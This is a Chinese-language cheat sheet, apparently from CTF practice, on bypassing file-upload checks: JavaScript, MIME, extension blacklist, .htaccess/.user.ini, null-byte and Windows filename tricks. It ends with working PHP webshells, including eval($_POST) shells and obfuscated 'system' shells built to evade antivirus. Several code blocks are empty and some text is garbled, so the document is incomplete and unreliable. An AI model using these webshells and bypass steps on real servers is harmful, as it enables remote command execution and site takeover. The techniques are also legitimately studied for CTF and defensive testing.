upload
upload
前端的javascript检测
该类检测代码直接写在网页中,一般提交后,立即有弹窗提示禁止上传,就可以判断为前端检测,或者直接右键查看页面源代码也能看到javascript的检测代码
一般的检测手段:文件后缀名检测,文件大小检测
一般的绕过方法:
1禁用前端的javascript检测
可以直接将浏览器上的javascript 按键关闭,如果使用的是 Chrome ,firefox浏览器的话可以下载一个插件 Noscript 随时禁止js
2直接F12,修改页面中的js检测代码
3用burp suite进行中间修改:
先写一个一句话木马shell.php,先将文件名修改为允许上传的后缀名(png,gif,jpg),然后再使用burp suite截取数据包,将后缀名修改为 php
服务端的MIME检测
根据文件的后缀名决定的,一般有这几种:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
一般的绕过方法:
1修改multipart/form-data,
一般文件上传是不会对 headers中的 content-type做限制,因为上传文件的时候它只会是 multipart/form-data或者Multipart/form-data,但不排除特殊情况,
2修改content-type
一般是利用burp suite进行抓包,然后修改Content-Type为image/png,image/jpeg,image/gif
服务端的文件后缀名检测:
一般的检测手段:
黑名单过滤:黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型
白名单过滤:仅允许指定的文件类型上传,比如仅允许上传jpg | gif | doc | pdf等类型的文件,其他文件全部禁止
黑名单:
1,大小写绕过
也可以叫做 列表穷举绕过,原理的是使用 黑名单中不存在并且能正常解析的有害的文件名,如Php,PHp5,等,有时还会忘记一个特别重要的文件后缀 htaccess
(可使用爆破快速的检测出到底哪些 文件后缀被过滤了,哪些没有)
2,特殊文件(.htaccess文件.user.ini文件)的绕过
.htaccess文件
如果发现可以上传.htaccess文件的情况,该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:
1 |
|
保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。
.user.ini文件
php 配置项中有两个配置可以起到一些作用
1 |
|
.user.ini 使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)
局限
在.user.ini 中使用这条配置的使用也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。
但是有时可以使用 ../ 来将文件上传到其他目录,达到一个利用的效果
3,截断(0x00)绕过
最常见的截断绕或要数 00 截断了,但是这种情况有很大的局限性,只有在 PHP 版本小于5.3.4 且 magic_quotes_gpc=Off时
1 |
|
(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
test.php(0x00).jpg
test.php%00.jpg
路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode
或者将文件命名为123.php.jpg再在 burp suite 的proxy下 的hex中将 php后面的. 的2e改为 00
4,利用系统特性绕过
在Windows系统中
1)大小写绕过
没有使用strtolower()函数,可以使用大小写绕过黑名单
把.php 格式改为 .Php 上传上去之后,就会自动解析为.php
2)空格绕过
没有使用trim()去除空格,可以使用空格绕过黑名单
抓包,修改上传一句话木马文件名zoe.php(注意这里有个空格)
3)点号绕过
没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过
抓包,修改上传一句话木马文件名zoe.php.(注意这里有个点)
4)特殊字符::$D A T A 绕过
这一关黑名单,没有对::$D A T A
进 行 处 理 , 可 以 使 用::$DATA
进行绕过,
补充知识:php在window的时候如果文件名+”::$DATA
“会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA
“之前的文件名 他的目的就是不检查后缀名。
上传PHP一句话文件,抓包改后缀zoe.php::$DATA
然后使用蚁剑连接zoe.php (注意蚁剑连接路径不要加上::$DATA
)
5)后缀加点空格点绕过
上传路径直接使用文件名进行拼接,而且只对文件名进行file name=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
上传zoe.php 然后用bp改后缀加点空格点(即文件名为zoe.php. .)
6)双写绕过
使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单
补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)
上传zoe.php 然后用bp改后缀为.pphphp使用蚁剑连接zoe.php
在Linux系统中,可以尝试上传名为 index.php/. 或 ./aa/../index.php/. 的文件
5,Web Server解析漏洞绕过
白名单:
1,截断(0x00)绕过
跟黑名单的截断绕过一样,详情参考黑名单的截断绕过
2,Web Server解析漏洞绕过
跟黑名单的解析漏洞一样
服务端的文件内容的检测:
木马构造(绕过文件内容检测)
1一般的马儿:
1 |
|
2没有PHP的马儿
1 |
|
3有PHP的马儿
1 |
|
4特殊马儿: 过滤[]:用{}代替
1
2
3
4
5
6<?= eval($_POST{'cmd'});?>
直接拿flag的变形马儿
<? echo `tac /var/www/html/f\*`;?>
<? echo `tac /var/www/html/f\*`?>
5免杀马儿:
1
2
3
4
5
6
7
8
9
10<?php $a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>